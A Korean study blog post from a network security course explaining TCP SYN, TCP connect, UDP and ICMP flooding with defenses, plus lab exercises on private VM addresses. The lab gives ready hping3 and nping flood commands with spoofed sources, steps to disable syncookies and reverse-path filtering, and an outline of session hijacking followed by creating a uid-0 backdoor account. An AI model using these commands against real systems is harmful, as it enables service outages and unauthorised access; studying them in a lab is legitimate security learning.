DoS(2)

justugi·2025년 6월 4일

네트워크 보안

목록 보기
8/13

TCP SYN Flooding

  • 이용하는 TCP 의 특징
    • 연결 지향
      • 3 way handshake 가 선행되어야 통신 가능
        • 서버는 다수와 동시에 tcp 연결을 맺음
          • 서버는 클라이언트가 보낸 SYN 수신 후 서버가 ACK/SYN 보낸 후, 서버는 클라이언트의 ACK 를 기다리는 대기 상태 (SYN_RCVD) 에 돌입함
            • TCP 통신 시 통신하는 장비가 통신 상태 정보를 기억해야함
              • 누구한테 (클라이언트별로) 어떤 신호 (SYN, ACK/SYN, ACK) 를 받았는지에 대한 정보 기억
              • 현재 통신이 어떤 상황인지 기억하고 있어야 그에 따른 다음 신호 처리 가능
              • Backlog queue 에 저장
  • Backlog queue
    • 서버에서 TCP 통신에 필요한 클라이언트의 연결 상태 정보를 기억하는 메모리 공간 (IP 로 구분)
    • SYN backlog
      • 클라이언트의 SYN 을 받고 SYN/ACK 를 전달한 SYN_RCVD 상태정보 기억
    • Listen backlog
      • SYN/ACK 에 대한 ACK 응답 받은 Established 상태정보 기억
  • TCP 는 연결을 맺어야 (3 way handshake 완료해야) 통신 가능 -> 연결을 못맺게 하면 DoS 공격 가능 -> 연결을 못맺게 하려면 상태정보를 기억을 못하게 함 -> 상태정보를 기억 못하게 하려면 상태정보를 의도적으로 가득 채우기 -> 상태정보를 채우려면 클라이언트가 SYN 을 보내면 서버가 SYN/ACK 를 응답하고 SYN backlog 에 SYN_RCVD 상태정보가 채워짐 -> 공격자가 TCP SYN Flooding 을 통해 서버의 상태정보를 가득 채우면 새로운 TCP 연결을 맺지 못해서 통신 불가
    • 수많은 변조된 출발지 IP 주소로 서버에게 SYN 정보 (연결 요청) 를 전송하는 공격 (서버 시스템의 메모리 (자원) 부하)
  • 보안 대책
    • 시스템 최적화
      • backlog queue 사이즈 증가, SYN_RCVD 대기시간 단축, Registry 설정
        • backlog queue 사이즈 증가
          • net.ipv4.tcp_max_syn_backlog = 128 값을 키우기
    • syncookie 기능 활성화
      • sysctl net.ipv4.tcp_syncookies=1
      • syncookies : SYN_RCVD 정보를 backlog que 메모리에 저장하지 않고 패킷 정보로부터 암호화된 쿠키 값을 생성하여 SYN/ACK 패킷의 시퀀스 번호로 사용 -> 이후 돌아온 ACK 패킷의 ack 번호를 SYN_RCVD 로 복호화시켜서 Established 상태로 돌입
    • 보안 솔루션 적용
      • Anti DDoS
  • 한계점
    • 공격 타겟이 TCP 서비스를 운영중이어야 함

TCP Connect Flood

  • 동시 접속자 수를 과도하게 발생 시킴
  • TCP 3 way handshake 과정을 과도하게 유발시켜 서비스에 과부하 발생시키는 공격
    • 정상적인 TCP 세션을 지속적으로 시션 연결하여 세션 처리 자원을 고갈 시킴
    • 연결 유지, 연결/해체 반복, 연결 이후 정상적인 통신처럼 트래픽 발송
  • 보안대책
    • IP 당 세션 수 제한
      • 방화벽 등 보안 솔루션이나 서버 프로그램 사용
        • iptables 에서 -m connlimit : 특정 ip 당 연결 수 제한
          • m connlimit --connlimit-above 10 : 특정 ip 당 10 연결까지 제한
    • TCP 세션 연결 이후 유휴 세션에 대한 타임아웃 설정
    • TCP 세션 연결 이후 정상적인 트래픽인지 확인
  • 한계점
    • 정상적인 TCP 통신을 이용하기 때문에 random IP 를 사용 못하므로 공격자의 IP 가 노출됨

UDP Flooding

  • UDP 의 비연결성 & 비신뢰성 때문에 발생 -> 네트워크 시스템 마비 공격
    • 타겟 PC 나 서버의 시스템이 아니라, 타겟에게 가는 네트워크 경로에 있는 통신장비들에게 부하를 줌
  • 단순한 공격 + 높은 공격 효과 -> DDoS 공격의 주류
  • 공격 유형
    • 타겟에게 직접 공격하여 네트워크 인프라 마비
    • Source Address, Source Port 를 Spoofing 하여 과다한 트래픽을 타겟에게 전송하여 Spoof 되는 타겟간의 네트워크 마비

ICMP Flooding

  • 활성화된 서비스나 포트가 필요하지 않다는 해당 프로토콜의 특징을 이용 -> 네트워크 시스템 마비 공격
  • Smurf 공격 형태
    • 공격자가 Source IP Address 를 타겟으로 설정하고 취약한 네트워크에 ICMP echo broadcast 패킷을 전송하면 해당 네트워크의 모든 시스템들이 ICMP echo reply 패킷을 타겟에게 전송하는 형태

실습

TCP SYN Flooding

kali 192.168.50.200 vmnet8
server (WEB) 192.168.50.50 vmnet8

[kali]

  • hping3 --rand-source -p 타켓포트 -S 타겟IP --flood
  • hping3 --rand-source -p 80 -S 192.168.50.50 --flood

[server]

  • 웹 설치 후 실행
  • SYN_RCVD 다량 생성 확인
    • netstat -antup
  • TCP SYN Flooding 보안 설정 비활성화
    • sysctl net.ipv4.tcp_syncookies=0
  • backlog 용량 낮추기
    • net.ipv4.tcp_max_syn_backlog = 128 값을 낮추기
    • 위 명령어들을 실행해야 메모리 가득 참

TCP SYN Flooding (다른 네트워크의 서버 공격)

  • linux1(firewall)
    192.168.50.50/24(vmnet8)
    192.168.100.254/24(vmnet2)
    192.168.150.254/24(vmnet3)
  • linux2
    192.168.100.1/24(vmnet2)
  • linux3
    192.168.150.1/24(vmnet3)
  • kali
    192.168.150.100/24(vmnet3)
  1. firewall(iptables)에 모든 기본 정책 ALL DROP
  2. linux2,linux3,kali 전부 인터넷 통신 가능하도록 정책 설정(www.naver.com)
  3. linux2에 telnet, ssh(port 32000, root 허용), WEB 서버 구성,tcp syncookie 설정 비활성화
  4. linux3에서만 telnet, ssh 서비스 받을 수 있도록 허용 정책 구성(state 설정)
  5. linux3에서 telnet으로 root 접속 하기 전 arp spoofing을 이용하여 tcp session hijacking 진행(shijack)
  • 로그인 할 때의 과정과 명령어 실행할 때의 과정이 달라서 위 방법으로는 로그인 과정 중 tcp session hijacking 불가
  1. hijacking으로 공격 성공 후 telnet 서버에 hacker계정 생성 및 비밀번호 생성, 권한은 uid 0으로 변경
  2. ip spoofing을 이용하여 hacker 계정으로 ssh 접속 로그인 테스트
  3. 불특정 다수가 WEB 서버 접속 가능하도록 허용 정책 설정(state)
  • dnat 필요
  1. tcp syn flooding 공격(tcp 80) 및 linux3에서 정상 접속 되는지 테스트
  • sysctl -a | grep filter 로 나오는 정책들 중 몇 개 아래것들로 수정
    • reverse path (source IP) 가 부적절한 경우 (= 자기가 모를 경우 = 라우팅 테이블에 없는 경우) 필터링하는 옵션들
    • sysctl net.ipv4.conf.default.rp_filter=0
    • sysctl net.ipv4.conf.ens160.rp_filter=0
      • kali (공격자) 와 연결된 인터페이스
    • sysctl net.ipv4.conf.lo.rp_filter=0
  1. tcp syn flooding 공격(tcp 22) 및 linux3에서 정상 접속 되는지 테스트

TCP Connect Flood

kali 192.168.50.200 vmnet8
server (WEB) 192.168.50.50 vmnet8

[kali]

  • nping3 --tcp-connect -p 타켓포트 -rate=공격유지시간 -c 공격데이터갯수 -q 타겟IP
  • nping3 --tcp-connect -p 80 -rate=90000 -c 90000 -q 192.168.50.50

[server]

  • 웹 설치 후 실행
  • TCP 연결 다량 생성 확인
    • netstat -antup
  • TCP SYN Flooding 보안 설정 비활성화
    • sysctl net.ipv4.tcp_syncookies=0
  • backlog 용량 낮추기
    • net.ipv4.tcp_max_syn_backlog = 128 값을 낮추기
    • 위 명령어들을 실행해야 메모리 가득 참

UDP Flooding

kali 192.168.50.200 vmnet8
server (WEB) 192.168.50.50 vmnet8

[kali]

  • hping3 -2 -a 출발지IP 타겟IP -p 포트 --flood
    • -2 : UDP
    • 타겟이 UDP 포트를 열어놓지 않거나 해서 포트 주소가 없어도 네트워크는 마비시킬수 있으나, 포트 주소를 알면 방화벽 우회하여 공격 가능
  • hping3 -2 --rand-source 192.168.50.50 --flood
  • hping3 -2 -a 192.168.50.1 192.168.50.50 -p 53 --flood
    • 타겟과 같은 네트워크에 속한 장비에 대한 응답 데이터도 발생시켜서 더 높은 부하 발생

ICMP Flooding

[kali]

  • hping3 -1 -a 출발지IP 타겟IP -p 포트 --flood
    • -1 : ICMP
profile
IT 보안, 관심 있는 것을 공부합니다.

0개의 댓글